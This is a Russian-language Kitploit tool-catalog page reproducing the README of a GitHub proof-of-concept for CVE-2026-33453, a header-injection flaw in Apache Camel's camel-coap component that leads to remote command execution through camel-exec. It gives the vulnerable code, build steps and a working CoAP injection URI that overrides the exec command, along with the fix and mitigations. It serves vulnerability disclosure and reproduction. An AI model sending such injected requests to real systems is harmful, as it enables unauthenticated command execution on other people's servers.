Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/oscerd/cve-2026-33453
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHuboscerd/cve-2026-33453

CVE-2026-33453

Репродуктор для CVE-2026-33453: инъекция заголовков в Apache Camel camel-coap с последующим RCE через camel-exec

Репозиторий
32 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

camel-coap Внедрение заголовков → Воспроизведение уязвимости RCE (CVE-2026-33453)

Этот проект демонстрирует уязвимость внедрения заголовков сообщений Camel в компоненте camel-coap Apache Camel, отслеживаемую как CVE-2026-33453. Неаутентифицированный злоумышленник, способный отправить один CoAP UDP-пакет, может внедрить произвольные управляющие заголовки Camel* в Exchange, что приводит к удалённому выполнению кода, если маршрут перенаправляет данные к производителю, чувствительному к заголовкам, такому как camel-exec.

Консультация: https://camel.apache.org/security/CVE-2026-33453.html

Сводка уязвимости

СвойствоЗначение
Компонентcamel-coap
Затронутый классorg.apache.camel.coap.CamelCoapResource (handleRequest)
Основная причинаПараметры URI запроса CoAP копируются в заголовки Exchange без HeaderFilterStrategy
CWECWE-915: Неконтролируемая модификация динамически определяемых атрибутов объектов
ВоздействиеУдалённое выполнение кода (через чувствительные к заголовкам производители, например, camel-exec)
Поверхность атакиОдин неаутентифицированный CoAP UDP-датаграмма (порт по умолчанию 5683)
Затронутые версииС 4.14.0 до 4.14.6 и с 4.15.0 до 4.18.1
Исправленные версии4.14.6, 4.18.1, 4.19.0
JIRACAMEL-23222
СообщившийХёнву Ким (@v4bel)

Технические детали

В затронутых версиях CamelCoapResource.handleRequest() перебирает параметры URI запроса CoAP и копирует каждый из них в заголовки входящих сообщений Camel Exchange без применения какого-либо HeaderFilterStrategy:

root@kitploit:~
// CamelCoapResource.handleRequest() - affected version
OptionSet options = exchange.getRequest().getOptions();
for (String s : options.getUriQuery()) {
    int i = s.indexOf('=');
    String name  = (i == -1) ? s : s.substring(0, i);
    String value = (i == -1) ? "" : s.substring(i + 1);
    camelExchange.getIn().setHeader(name, value);   // NO HeaderFilterStrategy!
}

CoAPEndpoint расширяет DefaultEndpoint (не DefaultHeaderFilterStrategyEndpoint), а CoAPComponent не реализует HeaderFilterStrategyComponent, поэтому фильтрация отсутствует. Следовательно, злоумышленник может установить любой заголовок — включая внутренние управляющие заголовки Camel* — просто добавив параметры запроса к URI CoAP.

Когда маршрут доставляет сообщение производителю, чувствительному к заголовкам, эти заголовки изменяют его поведение. Для camel-exec заголовки CamelExecCommandExecutable и CamelExecCommandArgs переопределяют исполняемый файл и аргументы, настроенные в конечной точке (по умолчанию они учитываются в затронутых версиях), что приводит к произвольному выполнению команд ОС. Стандартный вывод команды записывается обратно в тело Exchange и возвращается в CoAP-ответе, обеспечивая интерактивный канал RCE.

Уязвимый маршрут

root@kitploit:~
from("coap://0.0.0.0:5683/run")
    .to("exec:echo?args=hello")     // fixed, harmless command
    .convertBodyTo(String.class);   // return stdout in the CoAP response

Безвредный запрос выполняет echo hello. Злоумышленник переопределяет команду через внедрённые заголовки.

Предварительные требования

  • Java 17+
  • Maven 3.8+

CoAP основан на UDP (RFC 7252) и не имеет встроенной аутентификации (DTLS является опциональным и по умолчанию отключён), поэтому не требуется внешних сервисов или Docker-контейнеров — приложение-воспроизводитель одновременно является и уязвимым CoAP-сервером, и встроенным клиентом атакующего (также подойдёт обычный клиент, например coap-client из libcoap).

Шаги по воспроизведению

Шаг 1: Сборка и запуск

root@kitploit:~
mvn clean package -DskipTests
mvn spring-boot:run

Приложение запускает уязвимый маршрут на coap://0.0.0.0:5683/run и вспомогательный REST-контроллер на порту 8080.

Шаг 2: Безвредный запрос (проверка работоспособности)

root@kitploit:~
curl http://localhost:8080/exploit/normal
# -> CoAP response: hello

Шаг 3: Атака — внедрение заголовков переопределения exec через URI-запрос CoAP

root@kitploit:~
# Безвредное доказательство по умолчанию: touch /tmp/pwned
curl "http://localhost:8080/exploit/attack"

# Выбор другого исполняемого файла/аргументов:
curl "http://localhost:8080/exploit/attack?exe=/usr/bin/touch&args=/tmp/owned-by-coap"

Под капотом встроенный CoAP-клиент отправляет одну датаграмму:

root@kitploit:~
coap://localhost:5683/run?CamelExecCommandExecutable=/usr/bin/touch&CamelExecCommandArgs=/tmp/pwned

С помощью обычного CoAP-клиента:

root@kitploit:~
coap-client -m get "coap://localhost:5683/run?CamelExecCommandExecutable=/usr/bin/touch&CamelExecCommandArgs=/tmp/pwned"

Шаг 4: Проверка

root@kitploit:~
ls -la /tmp/pwned

Если /tmp/pwned существует, внедрённый заголовок переопределил команду exec → RCE.

Векторы атаки

Для внедрения требуется только чувствительный к заголовкам производитель ниже по маршруту. В консультации перечислены, среди прочих:

  • camel-exec — CamelExecCommandExecutable / CamelExecCommandArgs → выполнение команд ОС
  • camel-file — CamelFileName → произвольная запись файлов / обход пути
  • camel-sql — заголовки управления запросами
  • camel-bean — CamelBeanMethodName → вызов другого метода
  • шаблонные компоненты (freemarker/velocity) — заголовки выбора ресурсов

Условия эксплуатации

  1. Маршрут Camel, потребляющий сообщения из coap://....
  2. Маршрут перенаправляет к (или зависит от) производителю, чувствительному к заголовкам.
  3. Отсутствует removeHeaders("Camel*") между CoAP-потребителем и этим производителем.

Аутентификация не требуется; достаточно одного UDP-датаграммы на порт 5683.

Рекомендуемое исправление

Исправление (CAMEL-23222) добавляет HeaderFilterStrategy в CoAPEndpoint и применяет его в handleRequest() перед установкой заголовков, так что имена с префиксом Camel* фильтруются на границе CoAP, как и в любом другом транспорте:

root@kitploit:~
HeaderFilterStrategy strategy = consumer.getCoapEndpoint().getHeaderFilterStrategy();
...
if (strategy == null || !strategy.applyFilterToExternalHeaders(name, value, camelExchange)) {
    camelExchange.getIn().setHeader(name, value);
}

Смягчение последствий

До обновления:

  1. Удаляйте заголовки Camel из сообщений, полученных через CoAP: .removeHeaders("Camel*") сразу после from("coap:...").
  2. Избегайте чувствительных к заголовкам производителей ниже по маршруту от недоверенного входа CoAP, или фиксируйте их конфигурацию так, чтобы заголовки не могли её переопределить.
  3. Включите DTLS (coaps://) с аутентификацией клиента, чтобы ограничить доступ к конечной точке.
  4. Сегментация сети: держите CoAP-порт в доверенной сети.

Файлы

root@kitploit:~
CVE-2026-33453/
├── pom.xml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java          # Точка входа Spring Boot
    │   ├── CoapExecRoute.java        # Уязвимый маршрут-жертва (coap -> exec)
    │   └── ExploitController.java    # Встроенный CoAP-клиент атакующего (/exploit/normal, /exploit/attack)
    └── resources/
        └── application.properties

Отказ от ответственности

Данное средство воспроизведения предоставляется только для исследований безопасности и авторизованного тестирования в отношении публично раскрытой и исправленной уязвимости. Не используйте его против систем без явного разрешения.

Скачать инструмент